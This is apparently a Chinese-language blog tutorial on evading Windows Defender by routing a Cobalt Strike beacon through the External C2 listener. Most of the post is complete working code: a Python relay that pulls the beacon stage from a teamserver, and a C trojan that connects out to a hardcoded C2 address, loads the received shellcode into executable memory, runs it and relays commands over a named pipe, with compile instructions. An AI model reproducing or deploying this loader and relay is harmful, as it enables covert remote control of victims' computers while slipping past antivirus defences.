Joe1sn's Cabin

【免杀】使用CobaltStrike的外置监听器绕过检测

可能是最简单一种免杀方式了

公众号:https://mp.weixin.qq.com/s/9ReEchLx1dTbWR9plRWbpg

或许我们的公众号会有更多你感兴趣的内容

img

【免杀】使用CobaltStrike的外置监听器绕过检测

背景

起源于一次免杀马的制作,当我制作好了过后,在windows defender(后文简称为wd)中测试时

  • [x] 本地扫描能够通过
  • [x] CobaltStrike TeamServer能显示木马的正常上线
  • [ ] 上线后本地木马立即被查杀

结论

这里直接上结论,想要知道原因可以看下文

首先给出猜测:是windows defender有类似的waf,并且由于cobaltstrikestager payload的加载方式被wd识别出

给出解决办法:想办法加密/混淆TeamserverTojan的流量,类似于下图

image-20250224204001461

在CS上有一种监听器叫做:External C2

image-20250224201235596

只需要绑定本地的端口即可

同时我们需要编写一个 转发器、收发的torjan

转发器编写

为了方便,这里就使用Tcp socket进行编写

首先需要一个转发的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import socket
import struct
import time


class ExternalC2Controller:
def __init__(self, port):
self.port = port

def encodeFrame(self, data):
if type(data) == bytes:
return struct.pack("<I", len(data)) + data
else:
return struct.pack("<I", len(data)) + data.encode("utf-8")

def decodeFrame(self, data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)

def sendToTS(self, data):
self._socketTS.sendall(self.encodeFrame(data))

def recvFromTS(self):
data = b""
_len = self._socketTS.recv(4)
l = struct.unpack("<I", _len)[0]
while len(data) < l:
data += self._socketTS.recv(l - len(data))
return data

def sendToBeacon(self, data):
self._socketClient.sendall(self.encodeFrame(data))

def recvFromBeacon(self):
data = b""
_len = self._socketClient.recv(4)
l = struct.unpack("<I", _len)[0]
while len(data) < l:
data += self._socketClient.recv(l - len(data))
return data

def run(self):
# First thing, wait for a connection from our custom beacon
self._socketBeacon = socket.socket(
socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketBeacon.bind(("0.0.0.0", 12222))
self._socketBeacon.listen(1)
self._socketClient = self._socketBeacon.accept()[0]
print("Received C2 connection")

# Now we have a beacon connection, we kick off comms with CS External C2
self._socketTS = socket.socket(
socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("192.168.48.129", self.port))

# Send out config options
self.sendToTS("arch=x86")
self.sendToTS("pipename=xpntest")
self.sendToTS("block=1000")
self.sendToTS("go")

# Receive the beacon payload from CS to forward to our custom beacon
data = self.recvFromTS()

while (True):
print("Sending %d bytes to beacon" % len(data))
self.sendToBeacon(data)

data = self.recvFromBeacon()
print("Received %d bytes from beacon" % len(data))

print("Sending %d bytes to TS" % len(data))
self.sendToTS(data)

data = self.recvFromTS()
print("Received %d bytes from TS" % len(data))


controller = ExternalC2Controller(2222)
controller.run()

这里需要说明的是,转发器teamserver之间的通讯tcp报文是

image-20250224203243887

也就是说先从tcp流中读取4字节,然后这4字节作为长度,再从流中读取这一长度的剩余报文。这一点也可以从recvFromBeacon看出

首先创建和 teamserverexternalC2监听器的socket连接,然后监听本地的12222端口的tcp流量,一旦有请求流向监听的12222端口,就开始向teamserver传输上线信息,其中

  • arch:torjan的位数
  • pipename:需要使用到的管道名称,在程序中就为\\,\pipe\${pipename}
  • go:表示传输初始化信息完毕,torjan已经上线

teamserver收到torjan上线消息后,会返回一段data,这段data就是stager(有阶段)的第二段payload,通过之前讲过的反射式dll注入运行,由于使用的dll被各种标记,所以这里很有可能被检测出如果对teamserver的这段dll进行加密后再发送给torjan,那么在torjan内,至少这段dll解密进入内存之前是安全的

第三方客户端编写

也就是我们的马子,torjan

根据上面的简单分析,主要过程如下:

  1. 创建到转发器的socket
  2. 接收并解密转发器返回的shellcode,想办法运行这段shellcode
1
2
3
4
5
6
7
8
9
10
   DWORD payloadLen = 0;
char *payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;

// 连接到转发器
SOCKET c2socket = createC2Socket("192.168.48.129", 12222);
payloadData = recvData(c2socket, &payloadLen);

//运行shellcode
spawnBeacon(payloadData, payloadLen);

如果你逆向分析过cs生成的artifact.exe,你会发现它使用管道通讯

为什么要使用管道通讯呢?

之前在讲转发器的最后一个部分,因为第二段payload是一个dll,如何保持该dll和主程序之间的通讯?解决的方法就是使用命名管道,这也是为什么要在初始上线的时候传输管道的名称,这样才能生成torjan生成的torjan_dll

image-20250224211220992

通过管道将:teamserver->转发器->torjan 的数据,通过管道传输到 torjan_dll,反之亦然

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

while (1) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}

关于管道数据的解析,和转发器到teamserver的一致

image-20250224211909556

测试一下windows defender

这里就简单测试下没有加密过的

image-20250224214138493

image-20250224214408301

完整代码如下,建议使用 Visual Studio,位数x86 编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")

// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char* payload, DWORD len) {

HANDLE threadHandle;
DWORD threadId = 0;
char* alloc = (char*)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);

threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}

// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char* data, DWORD len) {
char* buffer = (char*)malloc(len + 4);
if (buffer == NULL)
return;

DWORD bytesWritten = 0, totalLen = 0;

*(DWORD*)buffer = len;
memcpy(buffer + 4, data, len);

while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}

// Receives data from our C2 controller to be relayed to the injected beacon
char* recvData(SOCKET sd, DWORD* len) {
char* buffer;
DWORD bytesReceived = 0, totalLen = 0;

*len = 0;

recv(sd, (char*)len, 4, 0);
buffer = (char*)malloc(*len);
if (buffer == NULL)
return NULL;

while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}

// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char* addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));

return sd;
}

// Connects to the name pipe spawned by the injected beacon
HANDLE connectBeaconPipe(const char* pipeName) {
HANDLE beaconPipe;

beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);

return beaconPipe;
}

// Receives data from our injected beacon via a named pipe
char* recvFromBeacon(HANDLE pipe, DWORD* len) {
char* buffer;
DWORD bytesRead = 0, totalLen = 0;

*len = 0;

ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char*)malloc(*len);

while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}

return buffer;
}

// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char* data, DWORD len) {
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}

int main()
{
DWORD payloadLen = 0;
char* payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;

// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.4", 12222);
payloadData = recvData(c2socket, &payloadLen);

// Start the CS beacon
spawnBeacon(payloadData, payloadLen);

// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(1000);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

while (TRUE) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}


return 0;
}

参考

https://github.com/xpn/AppProxyC2